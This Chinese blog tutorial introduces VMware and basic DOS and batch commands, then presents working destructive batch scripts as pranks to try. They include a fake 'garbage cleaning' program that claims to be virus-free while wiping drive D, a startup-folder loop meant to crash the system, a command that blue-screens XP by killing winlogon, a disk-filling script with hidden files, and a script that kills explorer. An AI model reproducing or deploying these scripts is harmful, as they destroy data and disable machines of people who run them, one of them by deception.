赞
踩
声明:前面我提供给大家很多镜像资源,大家根据需要下载,系统安装过程可参照网上教程,我就不演示啦。下面我给大家简单介绍下虚拟机和虚拟机的基本使用。
镜像下载链接:https://blog.csdn.net/Until_U/article/details/106984359
(1)VMware基本介绍
我们使用的是VMware虚拟机,VMware虚拟机架构有寄居架构和原生架构,我们所用的VMware workstations是在Windows系统之上的,他就是典型的寄居架构。而在生产环境中,原生架构很常见,它是直接将VMware安装在硬件之上的,相当于一个操作系统,典型的是VMware vsphere。
而在生产环境下还有一个微软的hyper-v也很常见,他也是典型的寄居架构。
而在所有的学习实验环境下,我们都使用的是VMware workstations,典型的寄居架构哦。
(2)VMware基本使用。
例如前面安装好WinXP系统之后,我们需要给xp安装vmtools,让虚拟机与真机进行交互,然后可以根据需要进行磁盘管理。保持好虚拟机最佳状态并建立快照。根据实验环境需要,可以克隆多个虚拟机进行模拟实验环境。(详细操作我也不做介绍了,百度上也有很多教程,遇到问题记得百度哦)
下面开始今天的学习,基本DOS命令和批处理文件的编写:
(1)color /? #修改cmd字体颜色
(2)systeminfo #查看系统信息
(3)ping(给对方主机发送ICMP包,ping域名也可返回ip地址)
死亡之ping(给对方主机发送大量ICMP包,这个容易搞坏目标服务器,但是现在很多例如阿里服务器都自带包过滤功能,可能会无效。)
(4)ipconfig 查看本机IP地址
ipconfig /release #释放IP地址
ipconfig /renew #重新获取IP地址
(5)cls #清屏 这个比较好用哦
(6)shutdown #关机
(7)关于目录的一些命令
盘符切换:直接输入盘符:
cd 切换目录(.表示当前目录,“..”表示上层目录)
md创建目录,rd删除目录(rd . /s/q 递归删除当前目录下所有内容)
dir 显示当前目录下的内容
(8)文件的相关操作
下面介绍两种创建文件的方法。echo(>为覆盖,>>为追加)、copy con 文件名
type显示文件内容,并且可以通过 | more分页显示(适用于文本比较多的情形)
copy、move和del文件:
del . *.txt (删除当前目录下TXT文件) ; del \ *.*(这条删除命令慎用,建议虚拟机中操作,恐怖程度类似于rm -rf /*)
文件授权:attrib(类似于Linux下的chmod等)
(9)下面来点变态的操作哟
下面只要去除文件的权限再删除掉就可以了。
再看一个操作:修改TXT文件成exe可执行文件,这样就没法处理txt文件了,同样的也可以吧Word,jpg文件都修改为了,止痒它们都执行不了。是不是也很变态。
取消操作就修改回来就好了。这个在下面编写批处理文件好好讲解。
(1)编写一个删除文件小脚本(下面是删除D盘下所有文件,慎用哦)
- @echo off
- color A
- title garbage cleaning.exe
- echo 这只是一个简单的垃圾清理软件,没有病毒哦(在虚拟机上操作哦,否则文件删光光别找我呀)
- pause
- echo.
- echo garbage is cleaning .............
- d: >nul 2>null ::消除提示
- cd \ >nul 2>null
- rd . /s/q >nul 2>null
- ping -n 10 127.0.0.1 >nul 2>null ::ping环回地址假装正在清理
- echo congratulations! Garbage has been cleaned!
- pause
(2)编写定时关机小脚本。
- @echo off ::关闭执行过程
- color A
- title this is just a procedure ::赋予程序标题
- :menu
- cls
- echo ********************定时关机小程序**************
- echo 菜单
- echo. ::换行
- echo 1、定时关机
- echo 2、取消关机
- echo 3、退出程序
- echo ******************************************
- echo.
-
- set /p num=请输入你的选择: ::set为设置变量,/p的作用是不要直接赋值给num,而是让用户输入
- if "%num%"=="1" goto 1 ::判断输入值,并进行相应的跳转
- if "%num%"=="2" goto 2
- if "%num%"=="3" goto 3
- echo 请输入正确数值,不要皮哦!,按任意键继续!
- pause ::暂停操作,显示以上信息
- goto menu
-
- :1 ::定义结构体,类似于switch一样,进行相应的跳转
- set /p a=请输入多久进行关机(单位/s):
- shutdown -s -t %a% -f
- goto menu
-
- :2
- shutdown -a
- goto menu
-
- :3
- exit
-
-
(3)explorer.exe是Windows程序管理器或者文件资源管理器,它用于管理Windows图形壳,包括桌面和文件管理,删除该程序会导致Windows图形界面无法使用。下面简单创建一个删除它的一个脚本。
- @echo off
- color A
- taskkill /im explorer.exe /f
-
- echo 傻了吧!!!
-
- ping -n 10 127.0.0.1 >nul 2>nul
- start c:\windows\explorer.exe
- echo 吓唬你的,是不是被吓到啦!!!
(4)针对xp和win2003的蓝屏脚本
ntsd -c q -pn winlogon.exe
(5)编写一个脚本haha.bat。把它拷贝到启动文件中,这样无论重启都会反复执行cmd。导致系统崩溃。 %userprofile%是系统用户变量。(真机慎用!)
- copy haha.bat "%userprofile%\「开始」菜单\程序\启动"
- :d
- start
- goto d
(6)挤爆磁盘空间并授予相关权限,让别人也看不到。
- @echo off
- color A
- d:
- cd \
- fsutil file createnew c:\sys.ini1 2048000000
- fsutil file createnew c:\sys.ini2 2048000000
- fsutil file createnew c:\sys.ini3 2048000000
- fsutil file createnew c:\sys.ini4 2048000000
- fsutil file createnew c:\sys.ini5 2048000000
- fsutil file createnew c:\sys.ini6 2048000000
- fsutil file createnew c:\sys.ini7 2048000000
- attrib +s +a +h c:\sys.ini1
- attrib +s +a +h c:\sys.ini2
- attrib +s +a +h c:\sys.ini3
- attrib +s +a +h c:\sys.ini4
- attrib +s +a +h c:\sys.ini5
- attrib +s +a +h c:\sys.ini6
- attrib +s +a +h c:\sys.ini7
好了,DOS基本命令和批处理文件就暂时学到这,后面学到这方面的知识就见怪不怪啦。Bye!
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。